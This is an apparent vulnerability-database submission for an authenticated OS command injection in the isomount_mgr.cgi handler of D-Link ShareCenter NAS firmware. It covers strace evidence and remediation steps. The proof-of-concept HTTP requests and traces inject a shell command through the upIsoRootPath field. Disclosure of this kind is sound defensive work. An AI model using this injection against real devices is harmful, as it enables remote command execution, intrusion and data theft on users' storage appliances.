Submit #894201: D-Link DNS-320L/DNS-327L/DNS-340L/DNS-345 ShareCenter NAS family multiple confirmed ShareCenter firmware builds OS Command Injection

D-Link ShareCenter isomount_mgr.cgi OS command injection

## 2. Vulnerability Summary

- **Internal Tracking ID:** DLINK-CMD-003
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated web-management access required
- **Verification Status:** CONFIRMED
- **Verification Evidence:** runtime/QEMU marker evidence + duplicate checks in D-Link evidence package

## 3. Affected Vendor / Product

- **Vendor:** D-Link
- **Product:** DNS-320L/DNS-327L/DNS-340L/DNS-345 ShareCenter NAS family
- **Affected Version / Firmware:** multiple confirmed ShareCenter firmware builds
- **Affected Component:** cgi/backup_mgr/isomount_mgr.cgi
- **Architecture:** ARM EABI5 little-endian

## 4. Description

The `isomount_mgr.cgi` CGI handler accepts ISO image management parameters from the authenticated web interface. In the `cgi_iso_create_image` and `cgi_iso_size` branches, the `upIsoRootPath` parameter is inserted directly into a shell command that invokes `genisoimage`.

Runtime tracing shows the vulnerable command shape:

```text
genisoimage <options> <upIsoRootPath>/<fileName> 2>/dev/null
```

Because this command is executed through `/bin/sh -c`, an authenticated web attacker can inject shell metacharacters in `upIsoRootPath` and execute arbitrary commands as the CGI process user.

Frontend reachability review shows the ISO management UI loads `iso_create.js` from `management.html`, exposes a `Create ISO Image` button in the Network Access / ISO Mount Share Settings panel, and sends POST requests to `/cgi-bin/isomount_mgr.cgi` for `cmd=cgi_iso_config`, `cmd=cgi_iso_create_image`, and `cmd=cgi_iso_size`. The UI gates the workflow through `login_mgr.cgi` `cmd=ui_check_wto`, supporting the authenticated-management-interface impact model.

## 5. Technical Details

Runtime summary:

| Firmware | Binary SHA1 | Marker hits | Controlled shell traces |
| ---------------------- | ---------------------------------------- | ----------- | ----------------------- |
| DNS-320L 1.10B03 | 4e1ac92af585f2915c389cad632c9c149485ba28 | 2 | 2 |
| DNS-327L 1.10B02 | bfbb4391e781e7a3d3bf3af1d952b086cf9de147 | 2 | 2 |
| DNS-340L 1.01B04 | 1230757ceb7bd65fed95001dabf94335605972ba | 2 | 2 |
| DNS-345 1.01 | 06202d6398208dc69c67a63bf541553af5b57316 | 2 | 2 |
| DNS-345 1.03B06 | ff0a43abde79d66eec0474f734fc6a505ce26804 | 2 | 2 |
| DNS-345 1.04.B02 | ff0a43abde79d66eec0474f734fc6a505ce26804 | 2 | 2 |
| DNS-345 1.05b04 HOTFIX | ff0a43abde79d66eec0474f734fc6a505ce26804 | 2 | 2 |

The verifier repairs zero-filled symlink placeholders in temporary qemu sysroots only, including busybox applet links and libc soname links. This restored the runtime environment for DNS-320L 1.10B03, DNS-327L 1.10B02, and DNS-345 1.04.B02 and converted their earlier trace-only boundary status into marker-confirmed affected evidence.

Representative qemu strace evidence:

DNS-345 1.03B06:

```text
execve("/bin/sh",{"sh","-c","genisoimage /mnt/HD/HD_a2/iso/img;touch /tmp/FIRMREC_DNS345_103B06_ISOMOUNT_20260526_create_image_root.hit;#/img 2>/dev/null",NULL})
```

DNS-340L 1.01B04:

```text
execve("/bin/sh",{"sh","-c","genisoimage /mnt/HD/HD_a2/iso/img;touch /tmp/FIRMREC_DNS340L_101B04_ISOMOUNT_20260526_create_image_root.hit;#/img 2>/dev/null",NULL})
```

Marker files were created in the temporary qemu sysroots for both `cgi_iso_create_image` and `cgi_iso_size` cases on each confirmed affected firmware, for 14 marker hits across 7 tested firmware images.

## 6. Proof of Concept / Reproduction

Low-impact marker examples:

```http
POST /cgi-bin/isomount_mgr.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_iso_create_image&fileName=img&upIsoRootPath=/mnt/HD/HD_a2/iso/img;touch /tmp/DLINK_CMD_003_create.hit;#
```

```http
POST /cgi-bin/isomount_mgr.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_iso_size&fileName=img&upIsoRootPath=/mnt/HD/HD_a2/iso/img;touch /tmp/DLINK_CMD_003_size.hit;#
```

## 7. Security Impact

Successful exploitation allows authenticated remote command execution on affected NAS appliances. The attacker can create or modify files, alter NAS configuration, access stored data through local commands, disrupt service availability, or use the device as a foothold inside the local network.

This draft treats the issue as authenticated management-interface RCE. The finding is separate from known D-Link NAS command-injection advisories for other CGI endpoints because the verified sink is `isomount_mgr.cgi` ISO creation/size handling through `upIsoRootPath`.

## 8. Remediation Recommendation

1. Replace shell-based `system()` calls with argument-vector APIs such as `execve()` that do not invoke `/bin/sh`.
2. Treat ISO paths and names as filesystem paths, not shell fragments; canonicalize them and enforce an allowlist rooted under expected volume paths.
3. Reject metacharacters, command substitutions, unexpected whitespace, and path traversal sequences in `upIsoRootPath`, `fileName`, and related ISO-management parameters.
4. Add server-side authorization checks and CSRF protection for ISO creation and size-calculation actions.

• Quelle: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-003-vulndb.md
• Benutzer: ST4R0001 (UID 99565)
• Einreichung: 17.07.2026 18:29 (vor 1 Monat)
• Moderieren: 30.08.2026 19:35 (1 month later)
• Status: Akzeptiert
• VulDB Eintrag: 397177 [D-Link DNS-320L/DNS-327L/DNS-340L/DNS-345 bis 20260717 ISO Image isomount_mgr.cgi upIsoRootPath erweiterte Rechte]
• Punkte: 20